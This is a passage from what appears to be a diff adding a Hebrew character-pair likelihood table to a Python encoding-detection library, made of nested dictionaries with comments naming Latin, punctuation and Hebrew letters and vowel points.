58: 0, # '†' + 40: 1, # '…' + }, + 63: { # 'u' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 34: { # '\xa0' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 2, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 55: { # '´' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 48: { # '¼' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 39: { # '½' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 57: { # '¾' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 30: { # 'ְ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 59: { # 'ֱ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 41: { # 'ֲ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 33: { # 'ִ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 37: { # 'ֵ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 1, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 36: { # 'ֶ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 2, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 31: { # 'ַ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 29: { # 'ָ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 35: { # 'ֹ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 62: { # 'ֻ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 28: { # 'ּ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 3, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 3, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 2, # 'ׁ' + 45: 1, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 1, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 38: { # 'ׁ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 45: { # 'ׂ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # 